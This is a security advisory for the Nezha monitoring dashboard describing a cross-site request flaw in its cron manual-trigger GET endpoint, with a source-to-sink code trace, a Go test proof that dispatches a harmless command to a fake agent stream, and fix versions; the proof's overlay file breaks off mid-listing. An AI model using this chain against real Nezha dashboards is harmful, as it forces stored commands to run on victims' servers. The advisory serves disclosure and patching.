Advisory

GHSA-8qhj-4f8c-j8qg

Also known as: CVE-2026-49396, GO-2026-5261

Summary

Nezha has cross-site GET request that can trigger stored cron commands on a victim's agents

Details

Summary

The dashboard exposes the cron manual-trigger action as an authenticated GET /api/v1/cron/:id/manual endpoint. Dashboard JWTs are sent in the nz-jwt cookie and configured with SameSite=Lax, which browsers include on top-level cross-site GET navigations. Because this state-changing GET endpoint has no CSRF token, origin validation, or fetch-metadata guard, an attacker can cause a logged-in Nezha user to trigger one of their existing cron tasks by navigating the victim's browser to the manual-trigger URL.

If the targeted cron task sends a command to an online agent, the stored command is dispatched to the agent task stream. The attacker cannot create or modify the cron command through this issue alone, but can force execution of a command that the victim already saved and is authorized to run.

Details
Source-to-sink chain:

  1. The dashboard registers the manual cron trigger as a GET route under the authenticated API group: auth.GET("/cron/:id/manual", commonHandler(manualTriggerCron)) at cmd/dashboard/controller/controller.go:131-134.
  2. JWT auth is cookie-enabled: CookieName: "nz-jwt", SendCookie: true, CookieSameSite: http.SameSiteLaxMode, and TokenLookup: "header: Authorization, query: token, cookie: nz-jwt" at cmd/dashboard/controller/jwt.go:23-46.
  3. The handler parses the route ID, loads the cron object, checks only normal object ownership via cr.HasPermission(c), then calls singleton.ManualTrigger(cr) at cmd/dashboard/controller/cron.go:170-187.
  4. ManualTrigger immediately runs CronTrigger(cr)() at service/singleton/crontask.go:249-250.
  5. CronTrigger dispatches the stored command to online eligible agents via s.TaskStream.Send(&pb.Task{Id: cr.ID, Data: cr.Command, Type: model.TaskTypeCommand}) at service/singleton/crontask.go:289-304 after the owner/server check in cronCanSendToServer (service/singleton/crontask.go:315-317).
  6. Object authorization is user ownership/admin only: Common.HasPermission returns true for admins or matching UserID at model/common.go:44-56. There is no CSRF token, Origin/Referer validation, or Fetch Metadata check on this GET action.

False-positive screening:

  • The endpoint is not read-only: the safe proof below observed an in-memory agent stream receiving the command task.
  • The route is authenticated, and the unauthenticated negative control failed with ApiErrorUnauthorized and dispatched no task.
  • SameSite=Lax mitigates cross-site POSTs, but this action uses GET; Lax cookies are still sent on top-level cross-site GET navigations, which is why state-changing GET endpoints remain CSRF-sensitive.
  • The attacker must know or guess a cron ID owned by the victim. IDs are numeric. The issue does not allow creating or editing a command; it forces execution of an existing stored task.
  • The permission check still limits the triggered task to the victim's own task or an admin's task, but CSRF abuses the victim's browser/session to satisfy that check.

PoC

Safe local proof used a Go test overlay only; no repository files were modified for the proof and no real command was executed. The test creates an in-memory SQLite database, a victim user, a victim-owned server with an in-memory fake task stream, and a victim-owned cron task with command text touch /tmp/should-not-run. It then performs two requests:

  1. Negative control: cross-site-style GET without the nz-jwt cookie. Expected result: response contains ApiErrorUnauthorized; zero tasks are dispatched.
  2. Positive proof: cross-site-style GET with the victim's nz-jwt cookie. Expected result: API response succeeds and exactly one task is dispatched to the fake agent stream with Id=7, Type=model.TaskTypeCommand, and Data="touch /tmp/should-not-run".

Command run from a clean checkout of the tested tree:

cat >/tmp/nezha-docs-stub.go <<'EOF'
package docs

var SwaggerInfo = struct {
	Version string
}{Version: "test"}
EOF

cat >/tmp/nezha-cron-csrf-poc-test.go <<'EOF'
package controller

import (
	"context"
	"encoding/json"
	"net/http"
	"net/http/httptest"
	"strings"
	"testing"
	"time"

	"github.com/gin-gonic/gin"
	"github.com/patrickmn/go-cache"
	"google.golang.org/grpc/metadata"
	"gorm.io/driver/sqlite"
	"gorm.io/gorm"

	"github.com/nezhahq/nezha/model"
	"github.com/nezhahq/nezha/pkg/i18n"
	pb "github.com/nezhahq/nezha/proto"
	"github.com/nezhahq/nezha/service/singleton"
)

type capturedTaskStream struct { tasks []*pb.Task }

func (s *capturedTaskStream) Send(task *pb.Task) error { s.tasks = append(s.tasks, task); return nil }
func (s *capturedTaskStream) Recv() (*pb.TaskResult, error) { return nil, context.Canceled }
func (s *capturedTaskStream) SetHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SendHeader(metadata.MD) error { return nil }
func (s *capturedTaskStream) SetTrailer(metadata.MD) {}
func (s *capturedTaskStream) Context() context.Context { return context.Background() }
func (s *capturedTaskStream) SendMsg(any) error { return nil }
func (s *capturedTaskStream) RecvMsg(any) error { return context.Canceled }

func TestCronManualTriggerAcceptsCookieAuthenticatedCrossSiteGET(t *testing.T) {
	gin.SetMode(gin.TestMode)
	db, err := gorm.Open(sqlite.Open("file:cron_csrf_poc?mode=memory&cache=shared"), &gorm.Config{})
	if err != nil { t.Fatal(err) }
	if err := db.AutoMigrate(&model.User{}, &model.Server{}, &model.Cron{}); err != nil { t.Fatal(err) }
	if err := db.Create(&model.User{Common: model.Common{ID: 100}, Username: "victim", Role: model.RoleMember}).Error; err != nil { t.Fatal(err) }
	if err := db.Create(&model.Server{Common: model.Common{ID: 200, UserID: 100}, Name: "victim-agent"}).Error; err != nil { t.Fatal(err) }

	singleton.DB = db
	singleton.Loc = time.UTC
	singleton.Cache = cache.New(time.Minute, time.Minute)
	singleton.Localizer = i18n.NewLocalizer("en_US", "nezha", "translations", i18n.Translations)
	singleton.Conf = &singleton.ConfigClass{Config: &model.Config{ConfigForGuests: model.ConfigForGuests{SiteName: "test"}, JWTSecretKey: "test-secret-for-cron-csrf-poc", JWTTimeout: 1}}
	singleton.ServerShared = singleton.NewServerClass()
	singleton.CronShared = singleton.NewCronClass()
	defer singleton.CronShared.Stop()

	stream := &capturedTaskStream{}
	server, ok := singleton.ServerShared.Get(200)
	if !ok { t.Fatal("server missing from singleton") }
	server.TaskStream = stream

	cronTask := &model.Cron{Common: model.Common{ID: 7, UserID: 100}, Name: "victim cron", TaskType: model.CronTypeCronTask, Command: "touch /tmp/should-not-run", Servers: []uint64{200}, Cover: model.CronCoverIgnoreAll}
	singleton.CronShared.Update(cronTask)

	authMiddleware := initParams()
	if err := authMiddleware.MiddlewareInit(); err != nil { t.Fatal(err) }
	token, _, err := authMiddleware.TokenGenerator(map[string]interface{}{"user_id": "100", "ip": "203.0.113.10"})
	if err != nil { t.Fatal(err) }

	r := gin.New()
	r.Use(func(c *gin.Context) { c.Set(model.CtxKeyRealIPStr, "203.0.113.10"); c.Next() })
	auth := r.Group("", authMiddleware.MiddlewareFunc())
	auth.GET("/api/v1/cron/:id/manual", commonHandler(manualTriggerCron))

	wNoCookie := httptest.NewRecorder()
	reqNoCookie := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	reqNoCookie.Header.Set("Origin", "https://attacker.example")
	reqNoCookie.Header.Set("Sec-Fetch-Site", "cross-site")
	r.ServeHTTP(wNoCookie, reqNoCookie)
	if !strings.Contains(wNoCookie.Body.String(), "ApiErrorUnauthorized") { t.Fatalf("expected unauthenticated control to fail, got status=%d body=%s", wNoCookie.Code, wNoCookie.Body.String()) }
	if len(stream.tasks) != 0 { t.Fatalf("unauthenticated control dispatched %d task(s)", len(stream.tasks)) }

	w := httptest.NewRecorder()
	req := httptest.NewRequest(http.MethodGet, "/api/v1/cron/7/manual", nil)
	req.Header.Set("Origin", "https://attacker.example")
	req.Header.Set("Sec-Fetch-Site", "cross-site")
	req.AddCookie(&http.Cookie{Name: "nz-jwt", Value: token})
	r.ServeHTTP(w, req)

	var resp struct { Success bool `json:"success"`; Error string `json:"error"` }
	if err := json.Unmarshal(w.Body.Bytes(), &resp); err != nil { t.Fatalf("decode response: %v body=%s", err, w.Body.String()) }
	if !resp.Success { t.Fatalf("manual trigger failed: status=%d body=%s", w.Code, w.Body.String()) }
	if len(stream.tasks) != 1 { t.Fatalf("expected one dispatched task, got %d", len(stream.tasks)) }
	dispatched := stream.tasks[0]
	if dispatched.Id != 7 || dispatched.Type != model.TaskTypeCommand || dispatched.Data != "touch /tmp/should-not-run" { t.Fatalf("unexpected dispatched task: id=%d type=%d data=%q", dispatched.Id, dispatched.Type, dispatched.Data) }
}
EOF

cat >/tmp/nezha-overlay-cron-csrf.json <<'EOF'
{
  "Replace": {

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-06-10 13:39 UTC
Modified
2026-06-26 21:45 UTC

Affected packages and fixes

github.com/nezhahq/nezha

Go · All systems

Affected

  • introduced 1.0.0, fixed 2.0.14 (semver)

Fixed versions

2.0.14

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences